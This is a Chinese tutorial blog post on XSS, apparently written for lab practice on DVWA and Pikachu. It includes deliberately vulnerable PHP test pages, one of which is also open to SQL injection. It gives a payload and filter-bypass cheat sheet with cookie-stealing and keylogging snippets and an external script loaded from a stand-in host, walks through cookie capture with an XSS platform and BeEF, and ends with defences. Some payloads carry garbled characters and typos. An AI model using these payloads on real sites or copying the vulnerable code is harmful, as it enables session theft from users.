XSS漏洞学习

XSS练习靶场

在线:

https://xss.haozi.me/

https://xssaq.com/yx/index.php

需下载安装:

DVWA

pikachu

1、XSS

跨站脚本(Cross-site Scripting )攻击,攻击者通过网站注入点注入客户端可执行解析的payload(脚本代码),当用户访问网页时,恶意payload自动加载并执行,以达到攻击者目的(窃取cookie、恶意传播、钓鱼欺骗等)。
为了避免CSS(层叠样式表)相混淆,通常称它为"XSS""。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

2、XSS类型

2.1、反射型XSS

反射型XSS非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面,在发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。这类攻击手段大多数是用来盗取用户的Cookie信息。

流程图如下:

测试代码reflected.php

<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>XSS</title>
</head>
<body>
<h2>反射型XSS测试<h2>
<form action="reflected.php" method="GET">
    What's your name?
    <input type="text" name="name">
    <input type="submit">
</form>
<?php
    $name = $_GET['name'];
    echo "Hello! ".$name;
?>
</body>
</html>

这是一个简单的用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理,再由前端显示。所以这种漏洞数据流向是: 前端–>后端–>前端。很明显,此过程中没有对输入的参数作任何过滤,存在XSS。image-20210315233801938

我们可以在输入框或URL中写入<script>alert("xss")</script>进行测试,回车后可见xss弹窗。

image-20210315234322375

查看网页源代码可以发现,插入进去的js脚本被完完全全的执行了。

image-20210315234502018

2.2、存储型XSS

存储型XSS又称为持久型XSS,攻击者将XSS代码发送给了服务器,而服务器没有对这些代码做任何处理就直接存储在了数据库中,当下一个用户访问网站时直接从数据库调用出来传给前端,浏览器解析XSS代码就造成了XSS攻击。常见的攻击点在个人信息、发表文章、留言板等地方。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

流程图如下:

测试代码stored.php

<!DOCTYPE html>
<html>
<head>
<title>XSS</title>
<meta charset="utf-8"/>
</head>
<body>
    <h2>存储型XSS测试<h2>
    <div style="border: 1px solid">
        <form action="stored.php" method="post">
        name:<input type="text" name="name"><br>
        comments:<textarea name="comment"></textarea><br>
        <input type="submit" value="发表" />
        </form>
    </div>
    <p>评论区:</p>
	<?php 
    $conn = mysqli_connect("localhost","root","123456");
    mysqli_select_db($conn,"test") or die ("Error connecting");
    error_reporting(0);
    if ($_POST['name'] && $_POST['comment']) {
        $sql = "insert into comment values ('$_POST[name]','$_POST[comment]')";
        if ($result = mysqli_query($conn,$sql)) {
            $sql = "select * from comment ;";
            $result = mysqli_query($conn,$sql);
            while ($row = mysqli_fetch_array($result)) {
                echo $row["name"].":".$row["comment"]."<br />";
            }
        }  
    }
    ?>
</body>
</html>

这是一个简单的评论界面,用户提交数据后保存至数据库,再由数据库中调出数据并显示再下方。显然对写入数据库的数据没有进行过滤,存在XSS。存储型XSS的数据流向是:前端–>后端–>数据库–>后端–>前端。image-20210317212829283

在输入框(可注入位置)中插入<script>alert("xss")</script>,然后提交。此xss代码会写入数据库,后面再访问这个页面都会执行插入的XSS代码,出现弹窗。

image-20210317213645942

image-20210317213733557

查看网页源代码可以发现,从数据库调出来的数据被浏览器执行了。

image-20210317214235176

2.3、DOM型XSS

也被称作本地跨站,是基于文档对象模型Document Object Model(DOM)的一种漏洞。DOM是一个与平台、编程语言不相干的接口,允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果会成为展示页面的一部分。DOM中有很多对象,其中一些对象可以被用户所操纵,如url,location等。客户端的脚本程序可以通过DOM来动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的数据后并在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有经过严格的验证,便会产生基于DOM的XSS漏洞。基于DOM的XSS是反射的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其他防护检测不出恶意内容。

可能触发DOM型XSS的属性

document.referer、window.name、location、innerHTML、documen.write

测试代码dom.php,参考于Pikachu

<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>XSS</title>
</head>
<body>
    <h2>DOMXSS测试</h2>
    <script>
        function domxss() {
            var str = document.getElementById("text").value;
            document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
            console.log(document.getElementById("dom").innerHTML);
        }
    </script>
    
    <input type="text" name="text" id="text" value="" />
    <input type="button" id="button" value="click me!" onclick="domxss()">
    <div id="dom"></div>
</body>
</html>

它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str,然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中,我们通过闭合的方式构造Payload#'onclick="alert(document.cookie)"。DOM型XSS漏洞数据流向是: 前端–>浏览器。

image-20210316010752417

3、XSS漏洞测试流程

黑盒测试

  1. 在目标站点上找到输入点,比如搜索栏,错误页面,留言板等。
  2. 输入一组"特殊字符(如>,",'等)+唯一识别字符",点击提交后,查看返回源码,是否做对应的处理。
  3. 通过搜索定位到唯一识别字符,结合唯一识别字符前后语法确认是否可以构造执行js的条件(构造闭合)。
  4. 提交构造的脚本代码以及各种绕过姿势,看是否可以成功执行,如果成功执行则说明该站点存在XSS漏洞。

Tips:

  1. 通常搜索栏容易出现反射型XSS,留言板容易出现存储型XSS;
  2. 有些网站鉴于后台可能存在过滤措施,组建的script可能会被过滤掉,因而无法生效或者环境限制脚本执行;
  3. 通过变化不同的script,尝试绕过后台的过滤机制。

白盒测试(代码审计)

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP中常见的接收参数的方式有$_GET$_POST$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。

同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

4、XSS-payload

更多可见:[WEB安全]XSS命令总结 作者:肖洋肖恩、

  1. 若使用一些函数将构成xss代码的一些关键字符给过滤了,如

    $name=preg_replace("/<script>/","",$name);      //过滤<script>
    $name=preg_replace("/<\/script>/","",$name);   //过滤</script>
    

    绕过技巧:可以使用大小写绕过 <scripT>alert('hack')</scripT>

  2. 若不区分大小写过滤标签,如

    $name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
    $name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>
    

    绕过技巧:可以使用嵌套的script标签绕过 <scr<script>ipt>alert('hack')</scr</script>ipt>

  3. 若不区分大小写,过滤之间的所有内容,如

    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容
    

    虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。如payload: <img src=1 οnerrοr=alert('hack')>

一些常用的XSS攻击载荷:

  • <script>标签
<script>alert("hack")</script>   #弹出hack
"> <script>alert(1)</script>  #正常截断
<script>alert(\'hack\')</script>  #数据提交至数据库时有时引号需要转义 
<script>alert(1)</script>        #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss
  • <img>标签
<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)> 
<img  src="javascript:alert("XSS");">
  • <body>标签
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
  • video标签
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
  • style标签
<style οnlοad=alert(1)></style>
  • 监听键盘onkeydown事件
document.onkeydown=funciont(e){
if(!e)e=window.event;
try(hijack();)catch(ex){}
}
  • 捕获用户输入的特定键
<script>
function keyDown(){
var keycode = event.keyCode;
var realkey = String.fromCharCode(event.keyCode);
alert("按键码: " + keycode + " 字符: " + realkey);
}
document.onkeydown = keyDown;
</scrip>
  • <>被过滤时
' onclick=alert`1` 
“ autofocus onfocus=alert(1)
javascript:alert(111) #输入在 a 标签的 href属性中

5、XSS平台

如果我们的JS水平一般的话(真实),我们可以利用网上免费的XSS平台来构造代码实施攻击。

经典的XSS平台(也可以下载安装清华蓝莲花战队开发的XSS平台

image-20210317214802204

在我的项目中创建新项目,选择最基本的默认模块,勾选keepsession,可以完成获取cookie等操作。

image-20210317215103530

在出现xss的地方可以插入以下给出的代码,完成攻击。

image-20210317215400602

在DVWA的XSS中进行测试,插入其中一条攻击代码。

image-20210317222324244

回到xss平台,已经返回了cookie等信息。

image-20210317222507374

6、BeEF

BeeF是web框架攻击平台,kali 集成Beef,而且Beef有很多好使的payload。例如,通过XSS这个简单的漏洞,BeeF可以通过一段编制好的javascript控制目标主机的浏览器,通过浏览器拿到各种信息并且扫描内网信息,同时能够配合metasploit进一步渗透主机,强大的有些吓人。

首先在kali打开BeEF,在左侧栏中点击beef图标会先弹出一个命令行窗口,然后会打开对应网页,命令行窗口显示了一些配置。

image-20210318000642015

利用命令行给出的方法,将脚本代码插入到存在XSS的地方。这里选择插入到DVWA中存储型XSS漏洞的页面。这里的kali就相当于一台服务器。原理与XSS平台类似,就是将受害者的信息发送到kali的beef中。

image-20210318002439090

此时BeEF的网页中已经显示自己中招。

image-20210318002610341

7、XSS的危害

  • 钓鱼欺骗:最典型的即是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者通过注入钓鱼JavaScript脚本以监控目标网站的表单输入,甚至攻击者基于DHTML技术对目标网站发起更高级的钓鱼攻击。
  • 网站挂马:跨站攻击时,攻击者利用Iframe标签嵌入隐藏的恶意网站,将被攻击者定向到恶意网站上或以弹出恶意网站窗口等的方式,进行挂马。
  • 身份盗用:Cookie是用户对于特定网站的身份验证的标志,XSS攻击可以令攻击者盗取用户的cookie,从而利用该cookie盗取用户对该网站的操作权限
  • 垃圾信息发送:在社交网站社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
  • 劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,从而监视用户的浏览历史、发送与接收的数据等。
  • XSS蠕虫病毒:借助XSS蠕虫病毒还可以用来打广告、刷流量、挂马、恶作剧、破坏数据、对目标实施DDoS攻击等。

存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

8、XSS的防御

通过对上面内容进行学习,容易知道主要是前端页面完全信任了用户输入的数据导致了XSS漏洞出现,所以我们可以在前端加上过滤代码、转义代码,对用户的输入(和URL参数)进行过滤,输出进行转义。对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单:过滤特殊符号及字符,可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单:只允许特定类型或字符,可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

其次,假如攻击者有一定几率绕过前端防御,可以将cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。

  • 通过一些函数对动态输出到页面的内容进行html编码,使其不能作为脚本运行。如
#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
  • 使用XSS Filter

针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:

  1. 表单数据指定值的类型:年龄只能是 int 、名字只能是字母数字等。
  2. 过滤或移除特殊的 html 标签:<script><iframe>等。
  3. 过滤 js 事件的标签:onclickonerroronfocus等。
  • 确保执行脚本来源可信

开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略)

总之,总的原则:输入做过滤,输出做转义

  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
  • 转义:所有输出到前端的数据根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行JS转义。

9、参考资料

[1] XSS(跨站脚本)漏洞详解之XSS跨站脚本攻击漏洞的解决

[2] 兵临城下丨记一次XSS靶场通关实践

[3] 一篇文章带你从XSS入门到进阶(附Fuzzing+BypassWAF+Payloads)

[4] kali之beef的使用

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值